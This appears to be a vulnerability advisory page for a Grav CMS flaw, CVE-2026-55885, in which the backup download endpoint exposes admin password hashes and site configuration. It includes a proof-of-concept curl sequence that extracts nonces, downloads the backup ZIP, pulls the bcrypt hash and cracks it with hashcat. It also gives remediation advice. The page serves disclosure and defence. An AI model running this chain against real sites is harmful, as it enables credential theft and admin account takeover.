Skip to main content

Grav CMS CVE-2026-55885

| EUVDEUVD-2026-42944 MEDIUM
Cleartext Storage of Sensitive Information (CWE-312)
2026-06-18 https://github.com/getgrav/grav GHSA-2f86-9cp8-6hcf
6.8
CVSS 3.1 · Vendor: https://github.com/getgrav/grav
Share

Severity by source

Vendor (https://github.com/getgrav/grav) PRIMARY
6.8 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
6.8 MEDIUM

Admin session with backup permission required (PR:H); download endpoint is network-reachable with no complexity; scope change reflects credential exposure beyond session boundary; no integrity or availability impact from this disclosure alone.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/getgrav/grav).

CVSS VectorVendor: https://github.com/getgrav/grav

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 18, 2026 - 15:51 vuln.today
Analysis Generated
Jun 18, 2026 - 15:51 vuln.today

DescriptionCVE.org

Summary

An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the admin's bcrypt password hash and email, plus user/config/ with all site configuration. The download endpoint requires only the session-static admin-nonce in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on http://{Grav_URL}/admin, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.

Details

The vulnerability chain spans three components in the deployed Grav source tree at /var/www/html/grav/:

1. Backup archive scope - Backups::backup() /var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272

The backup() static method creates a ZIP of the directory specified by the backup profile's root property. The default profile (ID 0, named default_site_backup) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:

php
// Backups.php:225
$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;

Since the default profile ships with no root override, $backup->root is empty, making $backup_root equal to GRAV_ROOT - i.e. /var/www/html/grav/. The archive therefore captures the entire installation including:

  • /var/www/html/grav/user/accounts/ - admin password hash, email, full name, granular permissions
  • /var/www/html/grav/user/config/ - system settings, potentially email SMTP credentials

The exclude_files and exclude_paths options on lines 232-235 are empty by default and offer no protection against including account files.

2. Backup download handler - AdminController::taskBackup() /var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573

After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:

php
// AdminController.php:558-560
$download = urlencode(base64_encode($backup));
$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep
       . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');

The download handler (lines 532-541) decodes the path, locates the file via the backup:// stream, and serves it with Utils::download($file, true). It performs only two checks: the filename must end in .zip and the file must actually exist. It does not verify the file belongs to the requesting user, does not enforce a form-level nonce, and does not tie the download to a specific session.

3. Nonce validation - permissive The backup route is protected only by the admin-nonce parameter appended to the URL path. This nonce is session-static and shared across every admin page. No form-nonce is required - unlike page saves or configuration changes which demand both admin-nonce and form-nonce. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.

PoC

Prerequisites: Admin session with valid admin-nonce.

Step 1 - Authenticate and extract the session-static nonces:

bash
# Get login page, extract login-nonce, authenticate
NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \
  | grep -oP 'name="login-nonce" value="\K[^"]+')
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
  --data-urlencode "data[username]=admin" \
  --data-urlencode "data[password]=Passw0rd123!" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}"
# Extract the admin-nonce (same value on every admin page)
ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \
  | grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1)
echo "Admin nonce: $ADMIN_NONCE"
# e.g. 68d6b108bc1398028365fb35ea760baf

Step 2 - Trigger a backup (single GET, no form-nonce needed):

bash
curl -s -b /tmp/jar \
  "http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}"

Response:

json
{
  "status": "success",
  "message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>"
}

Step 3 - Extract the Base64 download token and fetch the ZIP:

bash
# The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip")
# This reveals the full server filesystem path.
curl -s -b /tmp/jar -o /tmp/backup.zip \
  "http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}"

Step 4 - Extract the password hash from the ZIP:

bash
unzip -p /tmp/backup.zip "user/accounts/admin.yaml"

Output:

yaml
state: enabled
email: admin@grav.com
fullname: 'Grav Admin'
title: Administrator
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m

Step 5 - Crack the bcrypt hash offline:

bash
echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Step 6 - Log in with the cracked password (no rate limit):

bash
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
  --data-urlencode "data[username]=admin" \
  --data-urlencode "data[password]=<cracked_password>" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}"

Impact

  • Type: Authenticated sensitive data exposure enabling offline credential theft
  • Attack surface: Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)
  • Exposed data: Admin username, email, full name, granular permission structure, bcrypt password hash ($2y$12$...), and full site configuration from user/config/
  • Downstream risk: Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes
  • Server path leakage: The Base64-encoded download token reveals the absolute filesystem path /var/www/html/grav/backup/ - information critical for LFI, file-write, and path traversal attacks

AnalysisAI

Grav CMS (getgrav/grav < 1.7.53) exposes admin bcrypt password hashes, SMTP credentials, and full site configuration to any actor who can obtain a session-static admin-nonce value - via XSS, Referrer header leakage, browser history, or proxy logs - because the backup download endpoint enforces only a single URL-embedded nonce with no form-level CSRF token and no session binding. The default backup profile archives the entire GRAV_ROOT directory including user/accounts/ and user/config/ without exclusions, and the download handler Base64-encodes the absolute filesystem path in the response URL, leaking server internals. A fully functional public PoC is available; no CISA KEV listing exists at time of analysis, but downstream risk includes offline hashcat cracking followed by unauthenticated admin login with no server-side rate limiting.

Technical ContextAI

Grav is a flat-file PHP CMS distributed as the Composer package getgrav/grav (CPE: pkg:composer/getgrav_grav). The vulnerability chain involves three components. First, Backups::backup() in system/src/Grav/Common/Backup/Backups.php (lines 201-272) resolves the backup root as GRAV_ROOT when the default profile's root property is empty, capturing the entire installation. Second, AdminController::taskBackup() in user/plugins/admin/classes/plugin/AdminController.php (lines 517-573) Base64-encodes the full filesystem path into the download URL and enforces only a .zip filename check and file-existence check - no session binding, no form-level nonce. Third, the backup route is protected solely by the session-static admin-nonce embedded in the URL path, unlike page-save or configuration endpoints that also require a form-nonce. CWE-312 (Cleartext Storage of Sensitive Information) applies because bcrypt hashes, email addresses, permission structures, and potentially SMTP credentials are included in the archive without exclusion or encryption.

RemediationAI

The primary fix is to upgrade to Grav CMS version 1.7.53 or later via composer update getgrav/grav, as confirmed by the package advisory (vulnerable: < 1.7.53, fixed: 1.7.53) and GHSA-2f86-9cp8-6hcf at https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf. If immediate upgrade is not feasible, apply the following targeted compensating controls: (1) Edit backup profiles to explicitly populate exclude_paths with user/accounts and user/config - note this does not address the missing form-level CSRF token on the download endpoint and must be validated after each Grav update that may reset profiles; (2) Restrict admin panel access to specific trusted IP ranges using web server ACLs (nginx allow/deny, Apache mod_authz_host) to reduce the XSS and Referrer-leakage attack surface - trade-off is operational burden for distributed admin teams; (3) Revoke backup permissions from all non-essential admin accounts immediately; (4) Deploy login rate limiting via fail2ban or an nginx limit_req zone targeting the admin login endpoint to slow post-crack credential reuse - this does not prevent offline cracking. Compensating controls do not eliminate the root cause; upgrade to 1.7.53 is required.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-55885 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy